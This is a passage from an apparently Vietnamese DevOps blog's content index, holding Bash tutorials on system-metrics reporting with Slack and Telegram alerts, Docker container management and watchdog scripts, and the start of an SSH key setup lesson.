\u0026#34;${ts},${hostname},${cpu},${ram},${disk},${load},${procs},${conn}\u0026#34; \u0026gt;\u0026gt; \u0026#34;$CSV_FILE\u0026#34; } Ví dụ thực hành: Daily report script Kết hợp tất cả các kỹ thuật trên thành một script hoàn chỉnh, chạy hàng ngày qua cron để tạo báo cáo tổng hợp và gửi cảnh báo khi cần:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 #!/usr/bin/env bash # ============================================================================== # Script : daily-report.sh # Mục đích: Thu thập metric, tạo daily report, gửi alert khi vượt ngưỡng # Chạy qua cron: 0 8 * * * /opt/scripts/daily-report.sh # ============================================================================== set -euo pipefail IFS=$\u0026#39;\\n\\t\u0026#39; readonly LOG_DIR=\u0026#34;/var/log/daily-report\u0026#34; readonly TIMESTAMP=$(date \u0026#39;+%Y%m%d_%H%M%S\u0026#39;) readonly REPORT_FILE=\u0026#34;${LOG_DIR}/report_${TIMESTAMP}.txt\u0026#34; readonly CSV_FILE=\u0026#34;${LOG_DIR}/metrics.csv\u0026#34; readonly HOSTNAME=$(hostname -s) readonly DATE_STR=$(date \u0026#39;+%Y-%m-%d %H:%M:%S\u0026#39;) # Thresholds readonly CPU_WARN=\u0026#34;${CPU_WARN:-80}\u0026#34; readonly CPU_CRIT=\u0026#34;${CPU_CRIT:-95}\u0026#34; readonly RAM_WARN=\u0026#34;${RAM_WARN:-80}\u0026#34; readonly RAM_CRIT=\u0026#34;${RAM_CRIT:-95}\u0026#34; readonly DISK_WARN=\u0026#34;${DISK_WARN:-80}\u0026#34; readonly DISK_CRIT=\u0026#34;${DISK_CRIT:-90}\u0026#34; mkdir -p \u0026#34;$LOG_DIR\u0026#34; # --- Metric collection functions --- cpu_usage() { top -bn1 | grep \u0026#34;Cpu(s)\u0026#34; | awk \u0026#39;{printf \u0026#34;%.1f\u0026#34;, 100 - $8}\u0026#39; | tr -d \u0026#39;,\u0026#39; } ram_usage() { free | awk \u0026#39;/Mem:/ {printf \u0026#34;%.1f\u0026#34;, $3/$2*100}\u0026#39; } ram_used_mb() { free -m | awk \u0026#39;/Mem:/ {print $3}\u0026#39; } disk_usage() { df / | tail -1 | awk \u0026#39;{print $5}\u0026#39; | tr -d \u0026#39;%\u0026#39; } disk_used_gb() { df -BG / | tail -1 | awk \u0026#39;{print $3}\u0026#39; | tr -d \u0026#39;G\u0026#39; } load_avg() { awk \u0026#39;{print $1}\u0026#39; /proc/loadavg } tcp_connections() { ss -s | awk \u0026#39;/^TCP:/ {print $4}\u0026#39; | tr -d \u0026#39;,\u0026#39; } running_procs() { ps aux | wc -l } uptime_display() { uptime -p 2\u0026gt;/dev/null || awk \u0026#39;{d=int($1/86400); h=int(($1%86400)/3600); m=int(($1%3600)/60); printf \u0026#34;up %dd %dh %dm\u0026#34;, d, h, m}\u0026#39; /proc/uptime } # --- CSV recording --- init_csv() { if [[ ! -f \u0026#34;$CSV_FILE\u0026#34; ]]; then echo \u0026#34;timestamp,hostname,cpu_pct,ram_pct,disk_pct,load_avg,procs,tcp_conn\u0026#34; \u0026gt; \u0026#34;$CSV_FILE\u0026#34; fi } record_csv() { local cpu=\u0026#34;$1\u0026#34; ram=\u0026#34;$2\u0026#34; disk=\u0026#34;$3\u0026#34; load=\u0026#34;$4\u0026#34; procs=\u0026#34;$5\u0026#34; conn=\u0026#34;$6\u0026#34; echo \u0026#34;${DATE_STR},${HOSTNAME},${cpu},${ram},${disk},${load},${procs},${conn}\u0026#34; \u0026gt;\u0026gt; \u0026#34;$CSV_FILE\u0026#34; } # --- Alert functions --- determine_level() { local value=\u0026#34;$1\u0026#34; warn=\u0026#34;$2\u0026#34; crit=\u0026#34;$3\u0026#34; if [[ \u0026#34;$(echo \u0026#34;$value \u0026gt;= $crit\u0026#34; | bc 2\u0026gt;/dev/null || echo 0)\u0026#34; -eq 1 ]]; then echo \u0026#34;CRITICAL\u0026#34; elif [[ \u0026#34;$(echo \u0026#34;$value \u0026gt;= $warn\u0026#34; | bc 2\u0026gt;/dev/null || echo 0)\u0026#34; -eq 1 ]]; then echo \u0026#34;WARNING\u0026#34; else echo \u0026#34;OK\u0026#34; fi } send_slack() { local msg=\u0026#34;$1\u0026#34; if [[ -n \u0026#34;${SLACK_WEBHOOK:-}\u0026#34; ]]; then curl -s -X POST -H \u0026#39;Content-type: application/json\u0026#39; \\ --data \u0026#34;{\\\u0026#34;text\\\u0026#34;:\\\u0026#34;${msg}\\\u0026#34;}\u0026#34; \u0026#34;$SLACK_WEBHOOK\u0026#34; \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 fi } send_telegram() { local msg=\u0026#34;$1\u0026#34; if [[ -n \u0026#34;${TELEGRAM_BOT_TOKEN:-}\u0026#34; \u0026amp;\u0026amp; -n \u0026#34;${TELEGRAM_CHAT_ID:-}\u0026#34; ]]; then curl -s -X POST \u0026#34;https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage\u0026#34; \\ -d \u0026#34;chat_id=${TELEGRAM_CHAT_ID}\u0026#34; -d \u0026#34;text=${msg}\u0026#34; -d \u0026#34;parse_mode=Markdown\u0026#34; \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 fi } notify() { local msg=\u0026#34;$1\u0026#34; send_slack \u0026#34;$msg\u0026#34; send_telegram \u0026#34;$msg\u0026#34; } # --- Main report generation --- generate_report() { local cpu ram disk load procs conn uptime ram_used disk_used cpu=$(cpu_usage) ram=$(ram_usage) disk=$(disk_usage) load=$(load_avg) procs=$(running_procs) conn=$(tcp_connections) uptime_display=$(uptime_display) ram_used=$(ram_used_mb) disk_used=$(disk_used_gb) # Write report file { echo \u0026#34;========================================\u0026#34; echo \u0026#34; DAILY SYSTEM REPORT\u0026#34; echo \u0026#34; Host: ${HOSTNAME}\u0026#34; echo \u0026#34; Date: ${DATE_STR}\u0026#34; echo \u0026#34;========================================\u0026#34; echo \u0026#34;\u0026#34; echo \u0026#34;--- System Info ---\u0026#34; echo \u0026#34; Uptime: ${uptime_display}\u0026#34; echo \u0026#34; Processes: ${procs}\u0026#34; echo \u0026#34; TCP Connections: ${conn}\u0026#34; echo \u0026#34;\u0026#34; echo \u0026#34;--- Resource Usage ---\u0026#34; echo \u0026#34; CPU: ${cpu}%\u0026#34; echo \u0026#34; RAM: ${ram}% (${ram_used} MB used)\u0026#34; echo \u0026#34; Disk: ${disk}% (${disk_used} GB used)\u0026#34; echo \u0026#34; Load: ${load}\u0026#34; echo \u0026#34;\u0026#34; echo \u0026#34;--- Thresholds ---\u0026#34; echo \u0026#34; CPU: $(determine_level \u0026#34;$cpu\u0026#34; \u0026#34;$CPU_WARN\u0026#34; \u0026#34;$CPU_CRIT\u0026#34;)\u0026#34; echo \u0026#34; RAM: $(determine_level \u0026#34;$ram\u0026#34; \u0026#34;$RAM_WARN\u0026#34; \u0026#34;$RAM_CRIT\u0026#34;)\u0026#34; echo \u0026#34; Disk: $(determine_level \u0026#34;$disk\u0026#34; \u0026#34;$DISK_WARN\u0026#34; \u0026#34;$DISK_CRIT\u0026#34;)\u0026#34; echo \u0026#34;\u0026#34; echo \u0026#34;--- Top 5 CPU Processes ---\u0026#34; ps aux --sort=-%cpu | head -6 | awk \u0026#39;{printf \u0026#34; %-8s %5s%% CPU %5s%% RAM %s\\n\u0026#34;, $1, $3, $4, $11}\u0026#39; echo \u0026#34;\u0026#34; echo \u0026#34;--- Top 5 RAM Processes ---\u0026#34; ps aux --sort=-%mem | head -6 | awk \u0026#39;{printf \u0026#34; %-8s %5s%% CPU %5s%% RAM %s\\n\u0026#34;, $1, $3, $4, $11}\u0026#39; echo \u0026#34;\u0026#34; echo \u0026#34;========================================\u0026#34; } \u0026gt; \u0026#34;$REPORT_FILE\u0026#34; # Record to CSV init_csv record_csv \u0026#34;$cpu\u0026#34; \u0026#34;$ram\u0026#34; \u0026#34;$disk\u0026#34; \u0026#34;$load\u0026#34; \u0026#34;$procs\u0026#34; \u0026#34;$conn\u0026#34; # Print report to stdout cat \u0026#34;$REPORT_FILE\u0026#34; # Send alerts if needed local alerts=\u0026#34;\u0026#34; local cpu_level ram_level disk_level cpu_level=$(determine_level \u0026#34;$cpu\u0026#34; \u0026#34;$CPU_WARN\u0026#34; \u0026#34;$CPU_CRIT\u0026#34;) ram_level=$(determine_level \u0026#34;$ram\u0026#34; \u0026#34;$RAM_WARN\u0026#34; \u0026#34;$RAM_CRIT\u0026#34;) disk_level=$(determine_level \u0026#34;$disk\u0026#34; \u0026#34;$DISK_WARN\u0026#34; \u0026#34;$DISK_CRIT\u0026#34;) [[ \u0026#34;$cpu_level\u0026#34; != \u0026#34;OK\u0026#34; ]] \u0026amp;\u0026amp; alerts+=\u0026#34;CPU: ${cpu}% (${cpu_level})\\n\u0026#34; [[ \u0026#34;$ram_level\u0026#34; != \u0026#34;OK\u0026#34; ]] \u0026amp;\u0026amp; alerts+=\u0026#34;RAM: ${ram}% (${ram_level})\\n\u0026#34; [[ \u0026#34;$disk_level\u0026#34; != \u0026#34;OK\u0026#34; ]] \u0026amp;\u0026amp; alerts+=\u0026#34;Disk: ${disk}% (${disk_level})\\n\u0026#34; if [[ -n \u0026#34;$alerts\u0026#34; ]]; then local alert_msg=\u0026#34;*[${HOSTNAME}] System Alert*\\n${alerts}Uptime: ${uptime_display}\u0026#34; notify -e \u0026#34;$alert_msg\u0026#34; fi } main() { generate_report echo \u0026#34;\u0026#34; echo \u0026#34;Report saved to: $REPORT_FILE\u0026#34; echo \u0026#34;CSV log: $CSV_FILE\u0026#34; } main \u0026#34;$@\u0026#34; Cấu hình cron 1 2 # Chạy hàng ngày lúc 8:00 sáng 0 8 * * * /opt/scripts/daily-report.sh \u0026gt;\u0026gt; /var/log/daily-report/cron.log 2\u0026gt;\u0026amp;1 Kết quả mẫu 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 ======================================== DAILY SYSTEM REPORT Host: web-prod-01 Date: 2026-09-01 08:00:00 ======================================== --- System Info --- Uptime: up 45 days 3 hours 22 minutes Processes: 234 TCP Connections: 187 --- Resource Usage --- CPU: 23.4% RAM: 67.2% (5412 MB used) Disk: 72% (58 GB used) Load: 1.85 --- Thresholds --- CPU: OK RAM: OK Disk: OK --- Top 5 CPU Processes --- root 12.3% CPU 0.1% RAM nginx: worker www-data 8.7% CPU 2.1% RAM php-fpm: pool mysql 5.2% CPU 15.3% RAM mysqld root 3.1% CPU 0.8% RAM node /opt/api root 1.4% CPU 0.2% RAM sshd --- Top 5 RAM Processes --- mysql 15.3% RAM 5.2% CPU mysqld www-data 2.1% RAM 8.7% CPU php-fpm: pool root 1.8% RAM 0.9% CPU node /opt/api root 0.8% RAM 3.1% CPU node /opt/api redis 0.5% RAM 0.3% CPU redis-server ======================================== Ghi chú triển khai Webhook security: Lưu Slack webhook URL và Telegram bot token dưới dạng biến môi trường hoặc file được bảo vệ bằng quyền 600, không hardcode trong script. Metric history: File CSV sẽ grows theo thời gian. Kết hợp với logrotate hoặc script dọn dẹp định kỳ để giữ file ở kích thước hợp lý. Bạn cũng có thể dùng awk hoặc python để phân tích xu hướng từ CSV. Threshold tuning: Giá trị mặc định (80%/95%) phù hợp cho hầu hết server. Điều chỉnh theo workload cụ thể — ví dụ server chạy batch processing có thể cần ngưỡng CPU cao hơn. Multi-extend script: Để monitor nhiều server, kết hợp với SSH từ Bài 13 — chạy script trên mỗi server và aggregate kết quả về một nơi. Escalation: Khi nhận được alert CRITICAL, script có thể gọi thêm API để tạo ticket trong hệ thống issue tracking (Jira, GitHub Issues). Lời kết Monitoring với Bash không cần phức tạp — chỉ cần thu thập đúng metric, thiết lập ngưỡng cảnh báo hợp lý, và gửi alert đến đúng kênh. Từ việc đọc CPU/RAM/Disk, ghi log CSV để phân tích xu hướng, đến gửi cảnh báo qua Slack/Telegram và tạo daily report — tất cả đều nằm trong một script Bash chạy định kỳ qua cron.\nỞ bài tiếp theo, chúng ta sẽ khám phá Bash nâng cao: Parallel Execution — cách tối ưu hiệu suất script bằng background process, xargs -P, GNU parallel và quản lý concurrency.\n","date":"01/09/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-fifteen.webp","permalink":"/vi/posts/bash/bash-step-fifteen/","summary":"Hướng dẫn xây dựng hệ thống monitoring với Bash: thu thập metric CPU/RAM/Disk/Network, gửi cảnh báo qua Slack/Telegram/email, ghi log CSV và tạo daily report.","tags":["bash","shell-script","devops","monitoring","alerting","slack","telegram","cron","system-report"],"title":"Monitoring với Bash: Báo cáo hệ thống và cảnh báo tự động trong DevOps"},{"categories":["DevOps","Bash"],"content":"Bash và Docker trong DevOps Trong bài viết trước, chúng ta đã tìm hiểu cách tự động hóa SSH để quản lý nhiều server song song. Bây giờ, chúng ta sẽ bước vào thế giới container — nơi Bash đóng vai trò như một bridge mạnh mẽ giữa bạn và Docker daemon, giúp bạn quản lý container một cách linh hoạt hơn bất kỳ UI nào.\nDocker CLI đã rất mạnh mẽ, nhưng khi bạn cần chạy hàng loạt container, kiểm tra health status định kỳ, dọn dẹp image cũ, hay deploy một stack phức tạp — việc gõ lệnh từng cái một không còn thực tế. Bash cho phép bạn viết wrapper script để tự động hóa toàn bộ vòng đời container: từ build, deploy, healthcheck, restart khi crash, đến cleanup resource.\nBài viết này sẽ hướng dẫn bạn các kỹ thuật kết hợp Bash và Docker, từ những lệnh cơ bản đến một script thực hành quản lý container hoàn chỉnh.\nLệnh Docker cơ bản trong Bash Liệt kê và lọc container 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # Liệt kê tất cả container đang chạy docker ps # Liệt kê cả container đã dừng docker ps -a # Chỉ lấy container ID (phù hợp cho script) docker ps -q # Lọc theo tên docker ps --filter \u0026#34;name=nginx\u0026#34; # Lọc theo trạng thái docker ps --filter \u0026#34;status=running\u0026#34; docker ps --filter \u0026#34;status=exited\u0026#34; # Kết hợp filter và format output docker ps --format \u0026#34;{{.ID}} {{.Names}} {{.Status}} {{.Ports}}\u0026#34; Kiểm tra trạng thái container 1 2 3 4 5 6 7 8 # Kiểm tra container có đang chạy không (trả về 0 nếu có) docker inspect --format=\u0026#39;{{.State.Running}}\u0026#39; myapp # Lấy trạng thái chi tiết docker inspect --format=\u0026#39;{{.State.Status}}\u0026#39; myapp # Kiểm tra health status (nếu có healthcheck) docker inspect --format=\u0026#39;{{.State.Health.Status}}\u0026#39; myapp Quản lý container 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # Khởi động container đã dừng docker start myapp # Dừng container docker stop myapp # Restart container docker restart myapp # Xóa container đã dừng docker rm myapp # Force remove (kể cả khi đang chạy) docker rm -f myapp Docker Compose 1 2 3 4 5 6 7 8 9 10 11 # Khởi động stack docker compose up -d # Dừng stack docker compose down # Xem log docker compose logs -f # Restart một service docker compose restart nginx Wrapper script cho Docker Hàm tiện ích Trước khi viết script phức tạp, hãy tạo một số hàm tiện ích để tái sử dụng:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #!/usr/bin/env bash # Kiểm tra Docker daemon có chạy không docker_ready() { docker info \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 } # Lấy ID của container theo tên, trả về rỗng nếu không tồn tại container_id() { docker ps -q --filter \u0026#34;name=$1\u0026#34; } # Kiểm tra container có đang chạy không container_running() { [[ -n \u0026#34;$(container_id \u0026#34;$1\u0026#34;)\u0026#34; ]] } # Kiểm tra container có tồn tại (dù đã dừng) không container_exists() { docker ps -a -q --filter \u0026#34;name=$1\u0026#34; | grep -q . } # Lấy logs của container (số dòng gần nhất) container_logs() { local name=\u0026#34;${1:?Container name required}\u0026#34; local lines=\u0026#34;${2:-50}\u0026#34; docker logs --tail \u0026#34;$lines\u0026#34; \u0026#34;$name\u0026#34; 2\u0026gt;\u0026amp;1 } Dọn dẹp Docker resource 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 # Xóa container đã dừng cleanup_containers() { local count count=$(docker ps -a -q --filter \u0026#34;status=exited\u0026#34; | wc -l) if [[ \u0026#34;$count\u0026#34; -gt 0 ]]; then echo \u0026#34;Cleaning up $count stopped containers...\u0026#34; docker ps -a -q --filter \u0026#34;status=exited\u0026#34; | xargs docker rm -f fi } # Xóa dangling image (image không gắn với container nào) cleanup_images() { local count count=$(docker images -f \u0026#34;dangling=true\u0026#34; -q | wc -l) if [[ \u0026#34;$count\u0026#34; -gt 0 ]]; then echo \u0026#34;Cleaning up $count dangling images...\u0026#34; docker image prune -f fi } # Xóa tất cả unused resource (cẩn thận!) cleanup_all() { docker system prune -f --volumes } Healthcheck container với Bash Khi container không có Docker healthcheck tích hợp sẵn, bạn có thể tự viết script kiểm tra bằng Bash:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #!/usr/bin/env bash # Kiểm tra HTTP endpoint của container check_http() { local container_name=\u0026#34;${1:?Container name required}\u0026#34; local port=\u0026#34;${2:-80}\u0026#34; local path=\u0026#34;${3:-/}\u0026#34; local expected_status=\u0026#34;${4:-200}\u0026#34; local ip ip=$(docker inspect --format=\u0026#39;{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}\u0026#39; \u0026#34;$container_name\u0026#34; 2\u0026gt;/dev/null) if [[ -z \u0026#34;$ip\u0026#34; ]]; then echo \u0026#34;[ERROR] Cannot get IP for container $container_name\u0026#34; return 1 fi local status status=$(curl -s -o /dev/null -w \u0026#34;%{http_code}\u0026#34; \u0026#34;http://${ip}:${port}${path}\u0026#34; 2\u0026gt;/dev/null || echo \u0026#34;000\u0026#34;) if [[ \u0026#34;$status\u0026#34; == \u0026#34;$expected_status\u0026#34; ]]; then echo \u0026#34;[OK] $container_name HTTP check passed (status: $status)\u0026#34; return 0 else echo \u0026#34;[WARN] $container_name HTTP check failed (status: $status, expected: $expected_status)\u0026#34; return 1 fi } # Kiểm tra nhiều containers check_http \u0026#34;nginx\u0026#34; 80 \u0026#34;/\u0026#34; \u0026#34;200\u0026#34; check_http \u0026#34;api\u0026#34; 8080 \u0026#34;/health\u0026#34; \u0026#34;200\u0026#34; Deploy stack với Bash Khi deploy một Docker Compose stack, bạn thường cần: pull image mới, dừng service cũ, khởi động lại, và kiểm tra status. Bash giúp bạn orchestrate toàn bộ quá trình này:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 #!/usr/bin/env bash # deploy-stack.sh — Deploy Docker Compose stack với healthcheck set -euo pipefail readonly COMPOSE_FILE=\u0026#34;${1:-docker-compose.yml}\u0026#34; readonly PROJECT_NAME=\u0026#34;${2:-myapp}\u0026#34; readonly HEALTH_TIMEOUT=\u0026#34;${HEALTH_TIMEOUT:-60}\u0026#34; readonly LOG_FILE=\u0026#34;/var/log/docker-deploy.log\u0026#34; log() { echo \u0026#34;[$(date \u0026#39;+%Y-%m-%d %H:%M:%S\u0026#39;)] $*\u0026#34; | tee -a \u0026#34;$LOG_FILE\u0026#34; } # Pull image mới nhất pull_images() { log \u0026#34;Pulling latest images...\u0026#34; docker compose -f \u0026#34;$COMPOSE_FILE\u0026#34; -p \u0026#34;$PROJECT_NAME\u0026#34; pull } # Deploy stack deploy_stack() { log \u0026#34;Deploying stack...\u0026#34; docker compose -f \u0026#34;$COMPOSE_FILE\u0026#34; -p \u0026#34;$PROJECT_NAME\u0026#34; up -d --remove-orphans } # Đợi container healthy wait_healthy() { local service=\u0026#34;$1\u0026#34; local elapsed=0 log \u0026#34;Waiting for $service to become healthy...\u0026#34; while [[ $elapsed -lt $HEALTH_TIMEOUT ]]; do local status status=$(docker compose -f \u0026#34;$COMPOSE_FILE\u0026#34; -p \u0026#34;$PROJECT_NAME\u0026#34; ps --format json \u0026#34;$service\u0026#34; 2\u0026gt;/dev/null | grep -o \u0026#39;\u0026#34;Health\u0026#34;:\u0026#34;[^\u0026#34;]*\u0026#34;\u0026#39; | cut -d\u0026#39;\u0026#34;\u0026#39; -f4) if [[ \u0026#34;$status\u0026#34; == \u0026#34;healthy\u0026#34; ]]; then log \u0026#34;$service is healthy\u0026#34; return 0 fi sleep 2 elapsed=$((elapsed + 2)) done log \u0026#34;[WARN] $service did not become healthy within ${HEALTH_TIMEOUT}s\u0026#34; return 1 } # Rollback khi deploy thất bại rollback() { log \u0026#34;[ERROR] Deployment failed — rolling back...\u0026#34; docker compose -f \u0026#34;$COMPOSE_FILE\u0026#34; -p \u0026#34;$PROJECT_NAME\u0026#34; down # Có thể restore từ backup ở đây } trap rollback ERR main() { log \u0026#34;=== Deployment started ===\u0026#34; pull_images deploy_stack # Đợi tất cả service healthy local services services=$(docker compose -f \u0026#34;$COMPOSE_FILE\u0026#34; -p \u0026#34;$PROJECT_NAME\u0026#34; ps --services) for svc in $services; do wait_healthy \u0026#34;$svc\u0026#34; done log \u0026#34;=== Deployment completed successfully ===\u0026#34; } main \u0026#34;$@\u0026#34; Ví dụ thực hành: Script tự động restart container khi crash Đây là script hoàn chỉnh kết hợp tất cả kỹ thuật trên, được thiết kế chạy qua cron để giữ container luôn hoạt động:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 #!/usr/bin/env bash # ============================================================================== # Script : docker-watchdog.sh # Mục đích: Giám sát container và tự động restart khi crash # Chạy qua cron: */2 * * * * /opt/scripts/docker-watchdog.sh # ============================================================================== set -euo pipefail IFS=$\u0026#39;\\n\\t\u0026#39; readonly WATCHED_CONTAINERS=\u0026#34;${WATCHED_CONTAINERS:-nginx,api,worker}\u0026#34; readonly MAX_RESTART=\u0026#34;${MAX_RESTART:-3}\u0026#34; readonly RESTART_WINDOW=\u0026#34;${RESTART_WINDOW:-300}\u0026#34; readonly LOG_FILE=\u0026#34;/var/log/docker-watchdog.log\u0026#34; readonly STATE_DIR=\u0026#34;/var/run/docker-watchdog\u0026#34; mkdir -p \u0026#34;$STATE_DIR\u0026#34; log() { echo \u0026#34;[$(date \u0026#39;+%Y-%m-%d %H:%M:%S\u0026#39;)] $*\u0026#34; | tee -a \u0026#34;$LOG_FILE\u0026#34; 2\u0026gt;/dev/null } # Đếm số lần restart trong khoảng thời gian restart_count() { local container=\u0026#34;$1\u0026#34; local state_file=\u0026#34;${STATE_DIR}/${container}.restarts\u0026#34; local count=0 if [[ -f \u0026#34;$state_file\u0026#34; ]]; then while IFS= read -r timestamp; do if [[ $(date +%s) -lt $((timestamp + RESTART_WINDOW)) ]]; then count=$((count + 1)) fi done \u0026lt; \u0026#34;$state_file\u0026#34; # Dọn timestamp cũ awk -v cutoff=$(($(date +%s) - RESTART_WINDOW)) \u0026#39;$1 \u0026gt;= cutoff\u0026#39; \u0026#34;$state_file\u0026#34; \u0026gt; \u0026#34;${state_file}.tmp\u0026#34; mv \u0026#34;${state_file}.tmp\u0026#34; \u0026#34;$state_file\u0026#34; fi echo \u0026#34;$count\u0026#34; } record_restart() { local container=\u0026#34;$1\u0026#34; echo \u0026#34;$(date +%s)\u0026#34; \u0026gt;\u0026gt; \u0026#34;${STATE_DIR}/${container}.restarts\u0026#34; } # Kiểm tra container có đang chạy không is_running() { docker ps --format \u0026#39;{{.Names}}\u0026#39; | grep -q \u0026#34;^$1$\u0026#34; } # Kiểm tra container có tồn tại không container_exists() { docker ps -a --format \u0026#39;{{.Names}}\u0026#39; | grep -q \u0026#34;^$1$\u0026#34; } restart_container() { local container=\u0026#34;$1\u0026#34; local count count=$(restart_count \u0026#34;$container\u0026#34;) if [[ \u0026#34;$count\u0026#34; -ge \u0026#34;$MAX_RESTART\u0026#34; ]]; then log \u0026#34;[CRIT] $container restarted $count times in ${RESTART_WINDOW}s — manual intervention required\u0026#34; return 1 fi log \u0026#34;[WARN] $container is not running — restarting...\u0026#34; docker restart \u0026#34;$container\u0026#34; 2\u0026gt;/dev/null record_restart \u0026#34;$container\u0026#34; sleep 5 if is_running \u0026#34;$container\u0026#34;; then log \u0026#34;[INFO] $container restarted successfully\u0026#34; else log \u0026#34;[ERROR] $container failed to restart\u0026#34; return 1 fi } check_container() { local container=\u0026#34;$1\u0026#34; if ! container_exists \u0026#34;$container\u0026#34;; then log \u0026#34;[WARN] $container does not exist — skipping\u0026#34; return 0 fi if is_running \u0026#34;$container\u0026#34;; then # Kiểm tra health status nếu có local health health=$(docker inspect --format=\u0026#39;{{if .State.Health}}{{.State.Health.Status}}{{else}}no-healthcheck{{end}}\u0026#39; \u0026#34;$container\u0026#34; 2\u0026gt;/dev/null) if [[ \u0026#34;$health\u0026#34; == \u0026#34;unhealthy\u0026#34; ]]; then log \u0026#34;[WARN] $container is unhealthy\u0026#34; restart_container \u0026#34;$container\u0026#34; fi else restart_container \u0026#34;$container\u0026#34; fi } main() { IFS=\u0026#39;,\u0026#39; read -ra CONTAINERS \u0026lt;\u0026lt;\u0026lt; \u0026#34;$WATCHED_CONTAINERS\u0026#34; for container in \u0026#34;${CONTAINERS[@]}\u0026#34;; do container=$(echo \u0026#34;$container\u0026#34; | xargs) check_container \u0026#34;$container\u0026#34; done } main \u0026#34;$@\u0026#34; Cấu hình cron 1 2 3 # Chạy mỗi 2 phút crontab -e */2 * * * * /opt/scripts/docker-watchdog.sh \u0026gt;\u0026gt; /var/log/docker-watchdog-cron.log 2\u0026gt;\u0026amp;1 Kết quả mẫu 1 2 3 4 [2026-08-31 10:00:01] [INFO] nginx is healthy [2026-08-31 10:00:01] [WARN] api is not running — restarting... [2026-08-31 10:00:06] [INFO] api restarted successfully [2026-08-31 10:00:06] [INFO] worker is healthy Ghi chú triển khai Docker socket permission: Script Bash cần truy cập Docker daemon qua socket /var/run/docker.sock. Đảm bảo user chạy script thuộc nhóm docker hoặc có quyền sudo. BatchMode SSH: Khi chạy script Docker qua SSH (từ bài trước), sử dụng ssh -o BatchMode=yes để tránh prompt xác nhận host key. Container naming convention: Luôn dùng --name khi chạy container để dễ quản lý. Tránh dùng generated ID vì khó nhớ và không ổn định. Resource cleanup: Script watchdog chỉ restart container — không tự động xóa. Kết hợp với docker system prune chạy định kỳ để giải phóng disk space. Logging aggregation: Trong môi trường production, container logs nên được ship đến centralized logging system (ELK, Loki) thay vì chỉ ghi local file. Lời kết Kết hợp Bash và Docker tạo ra một công cụ quản lý container mạnh mẽ, linh hoạt và nhẹ nhàng hơn bất kỳ orchestration tool phức tạp nào. Từ việc liệt kê container, kiểm tra health status, dọn dẹp resource đến viết script watchdog tự động restart khi crash — tất cả đều nằm trong tay bạn chỉ với Bash và Docker CLI.\nỞ bài tiếp theo, chúng ta sẽ khám phá cách monitoring với Bash: thu thập metric hệ thống, gửi báo cáo qua email/webhook, và tạo dashboard báo cáo hàng ngày.\n","date":"31/08/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-fourteen.webp","permalink":"/vi/posts/bash/bash-step-fourteen/","summary":"Hướng dẫn kết hợp Bash và Docker trong DevOps: wrapper script, quản lý container, dọn image cũ, healthcheck, deploy stack với docker compose và tự động restart khi crash.","tags":["bash","shell-script","devops","docker","container","docker-compose","automation","healthcheck"],"title":"Bash và Docker trong DevOps: Quản lý container hiệu quả"},{"categories":["DevOps","Bash"],"content":"Tự động hóa SSH với Bash trong DevOps Trong bài viết trước, chúng ta đã tìm hiểu cách giám sát tài nguyên hệ thống và can thiệp tiến trình ngay trên một server duy nhất. Nhưng trong thực tế DevOps, bạn hiếm khi chỉ quản lý một máy. Khi hạ tầng mở rộng đến 10, 50 hay thậm chí hàng trăm server, việc SSH thủ công vào từng máy để chạy lệnh là một ác mộng — chậm, dễ sai và không thể lặp lại.\nTự động hóa SSH bằng Bash giải quyết vấn đề này: bạn viết một lần, chạy trên mọi server, kết quả đồng nhất và có thể tích hợp vào pipeline CI/CD hoặc cron job. Bài viết này sẽ hướng dẫn bạn thiết lập SSH key-based authentication, cấu hình ~/.ssh/config để quản lý nhiều server, truyền file an toàn với scp và rsync, cùng một script thực hành chạy lệnh song song trên nhiều server.\nThiết lập SSH key-based authentication SSH key-based authentication loại bỏ việc nhập mật khẩu每次 khi kết nối — đây là yêu cầu bắt buộc cho bất kỳ script tự động hóa nào.\nTạo SSH key pair 1 2 3 4 5 # Tạo key RSA 4096-bit ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa_deploy -C \u0026#34;deploy@automation\u0026#34; # Hoặc dùng Ed25519 (nhanh hơn, an toàn hơn) ssh-keygen -t ed25519 